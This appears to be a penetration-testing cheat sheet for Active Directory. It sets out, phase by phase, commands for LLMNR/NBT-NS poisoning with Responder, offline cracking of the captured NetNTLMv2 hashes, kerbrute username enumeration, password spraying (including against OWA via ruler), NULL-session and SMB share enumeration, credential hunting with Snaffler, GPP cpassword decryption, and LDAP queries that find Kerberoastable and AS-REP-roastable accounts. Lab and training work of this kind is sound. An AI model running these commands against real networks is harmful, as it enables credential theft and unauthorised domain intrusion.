AD Enumeration
aka AD Recon, Domain Enumeration, LLMNR Poisoning
Active Directory enumeration from zero: LLMNR/NBT-NS poisoning with Responder, unauthenticated recon (enum4linux-ng, kerbrute, LDAP anonymous), SMB share enumeration, password policy discovery, and post-credential domain mapping.
Ports
| Port | Proto | Notes |
|---|---|---|
53 | udp | DNS — domain discovery |
88 | tcp | Kerberos — DC indicator |
135 | tcp | RPC |
139 | tcp | NetBIOS |
389 | tcp | LDAP |
445 | tcp | SMB |
Fingerprint
- 88 + 389 + 445 + 135 open together = Domain Controller
- LDAP base search leaks domain name, naming contexts, DC hostname
Key files
| Path | Holds | Sensitive |
|---|---|---|
SYSVOL\domain\Policies | GPP cpassword (Groups.xml, printers.xml) | sensitive |
user description/info LDAP attributes | passwords stored by admins in user objects | sensitive |
NETLOGON share | logon scripts — check for embedded creds | sensitive |
Exploitation primitives
- Responder on LAN captures NetNTLMv2 hashes via LLMNR/NBT-NS/MDNS poisoning
- kerbrute userenum validates usernames against Kerberos without triggering account lockout
- enum4linux-ng via NULL session reveals users, groups, shares, password policy
- nxc smb network sweep identifies live hosts, OS versions, signing status
- Snaffler hunts file shares for credentials, config files, SSH keys
Phase 1 — Unauthenticated Recon
Identify domain controllers
nmap -p 88,389,445,135 --open -T4 10.129.0.0/24
nxc smb 10.129.0.0/24 # pings and fingerprints the whole subnet
LDAP anonymous / NULL bind
# Grab domain name and naming context
ldapsearch -x -H ldap://DC_IP -s base namingContexts
# Enumerate users with NULL bind
ldapsearch -x -H ldap://DC_IP -b 'DC=domain,DC=local' '(objectClass=person)' sAMAccountName
# NULL session SMB
enum4linux-ng -A 10.129.1.10
smbclient -N -L \\\\10.129.1.10
kerbrute — username enumeration (no lockout)
kerbrute userenum --dc 10.129.1.10 -d domain.local /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt
# Also validates via AS-REQ (no creds needed)
kerbrute passwordspray --dc 10.129.1.10 -d domain.local users.txt 'Welcome1!'
Phase 2 — LLMNR / NBT-NS Poisoning (Responder)
When a Windows host fails to resolve a name via DNS, it broadcasts LLMNR/NBT-NS. Responder answers those broadcasts and captures NetNTLMv2 hashes.
Passive analysis mode (safe — no poisoning)
sudo responder -I eth0 -A
Active poisoning
sudo responder -I eth0 -wrf
# -w = WPAD proxy
# -r = forward traffic
# -f = fingerprint
Responder saves hashes to /usr/share/responder/logs/. Crack with:
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Force LLMNR traffic (from inside a domain)
From a Windows machine: browse to a non-existent UNC path \\nonexistent\share — triggers LLMNR.
Phase 3 — SMB Enumeration
# Network-wide SMB sweep
nxc smb 10.129.0.0/24
# List shares (NULL session)
nxc smb DC_IP -u '' -p '' --shares
smbclient -N -L \\\\DC_IP
# List shares (with creds)
nxc smb DC_IP -u user -p pass --shares
smbmap -H DC_IP -u user -p pass
# Enumerate share contents recursively
smbmap -H DC_IP -u user -p pass -r 'Share Name'
smbclient \\\\DC_IP\\ShareName -U 'DOMAIN\user%pass'
Phase 4 — Password Policy Discovery
# NULL session policy (no auth)
enum4linux-ng -P 10.129.1.10
nxc smb DC_IP -u '' -p '' --pass-pol
# With creds
nxc smb DC_IP -u user -p pass --pass-pol
Get-ADDefaultDomainPasswordPolicy # PowerShell on domain
Key values to note: lockout threshold (how many sprays before lockout), observation window (how long until counter resets), min password length.
Phase 5 — Authenticated Enumeration
User and group enumeration
# With creds
nxc ldap DC_IP -u user -p pass --users
nxc ldap DC_IP -u user -p pass --groups
# PowerView (on Windows)
Get-DomainUser | select samaccountname, description, memberof
Get-DomainGroup | select name, member
# With description field — admins sometimes store passwords here
Get-DomainUser | Where {$_.description -ne $null} | select samaccountname,description
nxc ldap DC_IP -u user -p pass -M get-desc-users
Find hosts with Local Admin access
# CME — try creds across network
nxc smb 10.129.0.0/24 -u user -p pass
# PowerView
Find-LocalAdminAccess -Verbose
Snaffler — file share hunting
# Run on domain-joined Windows machine
.\Snaffler.exe -d domain.local -s -o snaffler.log
# Snaffler hunts for:
# .config, .xml with passwords
# .kdbx (KeePass databases)
# .ppk, id_rsa (SSH private keys)
# web.config, appsettings.json
Phase 6 — LDAP Detailed Enumeration
Fine-grained password policies (PSOs)
ldapsearch -x -H ldap://DC_IP -D 'user@domain.local' -w pass \
-b 'DC=domain,DC=local' '(objectClass=msDS-PasswordSettings)' '*'
Find Kerberoastable accounts (SPNs)
ldapsearch -x -H ldap://DC_IP -D 'user@domain.local' -w pass \
-b 'DC=domain,DC=local' '(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName servicePrincipalName
Find AS-REP Roastable accounts (no preauth)
ldapsearch -x -H ldap://DC_IP -D 'user@domain.local' -w pass \
-b 'DC=domain,DC=local' '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' sAMAccountName
GPP cpassword in SYSVOL
nxc smb DC_IP -u user -p pass -M gpp_password
# Manual:
smbclient \\\\DC_IP\\SYSVOL -U user%pass
# Search for cpassword in Groups.xml, printers.xml, scheduledtasks.xml
Decrypt GPP cpassword:
gpp-decrypt '<encrypted_string>'
Password Spraying
# One password against all users (respect lockout policy!)
nxc smb DC_IP -u users.txt -p 'Welcome1!' --no-bruteforce
kerbrute passwordspray --dc DC_IP -d domain.local users.txt 'Welcome1!'
# Spray OWA / Exchange
ruler --domain domain.local --username user --password 'Welcome1!'